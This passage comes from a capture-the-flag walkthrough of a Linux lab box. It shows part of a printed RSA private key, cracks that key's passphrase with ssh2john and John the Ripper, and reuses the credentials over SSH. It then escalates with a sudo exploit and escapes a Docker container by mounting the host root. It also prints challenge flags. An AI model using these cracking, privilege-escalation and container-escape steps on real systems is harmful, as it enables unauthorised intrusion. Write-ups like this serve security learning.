4PJ+Pr/doZ3Dkq4Q/YPrKnbKEbs/3Zvbu/XT5y+joS6tzF3Raz6xW0kg3NyaA1B5
V5zoj0/tnBb9Lc0YH7s2QT+9drFH4w8tb5kjyd1jlER3Hs4m31cniCsxDlKoTwk/
uAGurW23NZ4QF+3/PgjZRhudpNjcOP69Ys2XGAecxO9uBx9JjPR/cn9c54v4s/kH
n6v24eXF2uGGlEsvEpzIpk6UDap7YoxnRKIPo0mZ5G7/MS9+RL6dv9rmJ6IQd7Cr
fPjhz8snqfuGCAVveKWIOPnlfYiYJ2nQ6yA1Soyt9outfLbwIzDh7e+eqaOP2amh
rGCqwxrj9cj4sH/MzvKZVARzH3hs39wRmoEtx9ML/uXsp22DqUODOxc7cdUlRs99
zTj8CHFpM6X+ihSF33Eg0qBJwkyWzdKQiFKNTm8ld4wzov1tdKeRC7nlUh5F4lkf
yExiUTllJq8pJ3JAC/LEvQXF041fcmQ0RvoL1n3nyqIvvOjuY7UDZrcmuWQ+epdE
APKzOgkxhEqsozt8kj810m3bjIWngenwRcGL6M1ZsvwT1YwGUKG47wX2Ze3tp3ge
K4NUD9GdZJIiu8qdpyMIFKR9MfM3Pur5JRUK0IjCD43xk9p6LZYK00C3N2F4exwM
Ye5kHYeqZLpl4ljZSBoNtEK1BbYSffBt2XdoQsAvft1iwjdtZ9E644oTp9QYjloE
-----END RSA PRIVATE KEY-----

Workaround for ssh2john 1.9.0-jumbo bug:

$ sed 's/decodestring/decodebytes/' /usr/bin/ssh2john | python3.9 - id_rsa_robert
id_rsa_robert:$sshng$1$16$7903FE7BDBA051C4B0BF7C6C5C597E0B$1200$891ce91faaa35c3be6554e70c1853b4d07f240722a63347436abb39d9dce897c9a48e6a8be03d77463f7af9d2f7c857a8b4ec7ed949ccf3e27b9e9d8246204ed97c362d55503d47a21d70865e7181762f739f1e847f82118e95b2c2f87caf93244c72b1206a3a5d57bcc23d11dc922062a31cf1d4aee47e48a7ca2481a15f69cfd3ee00aa38ece1ed28376d8d6155f803e48966bc682980192842f5166464b311855911d136463a02464ecfcc9dca29c8927a4e027d0331dc428def71fe40de4edfdfef4d8b0ee6305996ad4df958e0690329c690af5e0d3bedfc3a08309713f4a2f5041684cd178ef2611336a7d3e4642770eff8b41486ed0694ea942477e522642b65b69e3b4eef61c1212cc4322579eb29b819fd9831eb62d0430bc8c406a9ea9b4b0375838fce351330348982a98b6749736a04dad4e30d525bd1033e5275ee1b280a1846056f056278c219f81fe3881e1150ead6c256bff4b68b18adcf5e84ce0de13889d12c9facfd57983a3c6ee77e52d35fd937ffbca8d84fd14ffbff87aab227d68bb80afbeefe33dbc1553c123878097fd32610cae89a8bceca8ea7433c8c171c091fb3ad15dc66c28b9c62544eac4ac0c2fb16146202079398e531e375d53afceb34e999fbc1266e61387d6e71f54291da7cca8082f01c0a5ac8a76629bca6f7ab92a103a6e0ac9c5e3a03570f6702045041543edcd772d09c2ec9737b91e35c7ac10de616f954d37d54f8e9fa64be73f09cb722d28199062627f6af637edf1d80645903b34e7db0f401f141af238c38d6a181b9b7ec1c0bd53d6287f870208f58b544cd3f5d9e572889742b888efde439c5300f6a1e757fa2c2627668fc6e9f33b213ef693467428c67c122c921ad44272feefae45518e4826c389407862c9f4504ec3c21d29af5fb5825ab8a63f1341acd5085e7e5fb72b6041e0f27e3ebfdda19dc392ae10fd83eb2a76ca11bb3fdd9bdbbbf5d3e72fa3a12eadcc5dd16b3eb15b4920dcdc9a035079579ce88f4fed9c16fd2dcd181fbb36413fbd76b147e30f2d6f9923c9dd639444771ece26df5727882b310e52a84f093fb801aead6db7359e1017edff3e08d9461b9da4d8dc38febd62cd9718079cc4ef6e071f498cf47f727f5ce78bf8b3f9079fabf6e1e5c5dae186944b2f129cc8a64e940daa7b628c6744a20fa34999e46eff312f7e44be9dbfdae627a21077b0ab7cf8e1cfcb27a9fb8608056f78a58838f9e57d88982769d0eb20354a8cadf68bad7cb6f02330e1edef9ea9a38fd9a9a1ac60aac31ae3f5c8f8b07fcccef2995404731f786cdfdc119a812dc7d30bfee5eca76d83a943833b173b71d52546cf7dcd38fc08716933a5fe8a1485df7120d2a049c24c96cdd29088528d4e6f25778c33a2fd6d74a7910bb9e5521e45e2591fc84c6251396526af292772400bf2c4bd05c5d38d5f72643446fa0bd67de7caa22fbce8ee63b50366b726b9643e7a974400f2b33a0931844aaca33b7c923f35d26ddb8c85a781e9f045c18be8cd59b2fc13d58c0650a1b8ef05f665ededa7781e2b83540fd19d649222bbca9da7230814a47d31f3373eeaf925150ad088c20f8df193da7a2d960ad340b73761787b1c0c61ee641d87aa64ba65e258d9481a0db442b505b6127df06dd9776842c02f7edd62c2376d67d13ae38a13a7d4188e5a04

Else we would only need:

$ ssh2john id_rsa_robert

Let's crack it with JtR:

$ john robert_ssh.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=ssh
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
edited   (id_rsa_robert)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:03 DONE (2021-02-05 15:39) 0.2538g/s 3640Kp/s 3640Kc/s 3640KC/s *7¡Vamos!
Session completed

But we can't connect directly nor via the public SSH:

maya@linuxagency:~$ su robert
No passwd entry for user 'robert'
ssh robert@10.10.253.250 -i id_rsa_robert
Enter passphrase for key 'id_rsa_robert':
Connection closed by 10.10.253.250 port 22

But there is maybe another SSH running on localhost port 2222:

maya@linuxagency:~$ ss -nlpt | grep 22
ss -nlpt | grep 22
LISTEN   0         128               127.0.0.1:2222             0.0.0.0:*
LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*
LISTEN   0         128                    [::]:22                  [::]:*

ssh robert@127.0.0.1 -p 2222 -i olold_robert_ssh/id_rsa
Warning: Identity file olold_robert_ssh/id_rsa not accessible: No such file or directory.
robert@127.0.0.1's password:

Last login: Tue Jan 12 17:02:07 2021 from 172.17.0.1
robert@ec96850005d6:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert)

What is user.txt?

Answer: user{620fb94d32470e1e9dcf8926481efc96}

robert@ec96850005d6:~$ cat robert.txt
cat robert.txt
You shall not pass from here!!!

I will not allow ICA to take over my world.

For sure we are in a docker container:

robert@ec96850005d6:~$ ls -lh /.dockerenv
-rwxr-xr-x 1 root root 0 Jan 12 12:50 /.dockerenv

Sudo version 1.8.21p2 is vulnerable to EDB-ID 47502

robert@ec96850005d6:~$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

root@ec96850005d6:~# cd /root

root@ec96850005d6:/root# cat user.txt
user{edited}

What is root.txt?

Answer: root{62ca2110ce7df377872dd9f0797f8476}

Now we must escape from the container to the host.

We have the docker binary put in our docker container:

root@ec96850005d6:/root# ls -lh /tmp
total 86M
-rwxr-xr-x 1 root robert 86M Jan 12 16:39 docker

We should easily EoP with that:

$ gtfoblookup linux shell docker
docker:

    shell:

        Description: The resulting is a root shell.
        Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Let's see the image running:

root@ec96850005d6:/root# /tmp/docker ps    
/tmp/docker ps
CONTAINER ID        IMAGE               COMMAND               CREATED             STATUS              PORTS                    NAMES
ec96850005d6        mangoman            "/usr/sbin/sshd -D"   3 weeks ago         Up 2 hours          127.0.0.1:2222->22/tcp   kronstadt_industrie

Let's exploit that from docker container root to docker host root:

root@ec96850005d6:/root# /tmp/docker run -v /:/mnt --rm -it mangoman chroot /mnt sh
 shp/docker run -v /:/mnt --rm -it mangoman chroot /mnt 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
root{edited}
Share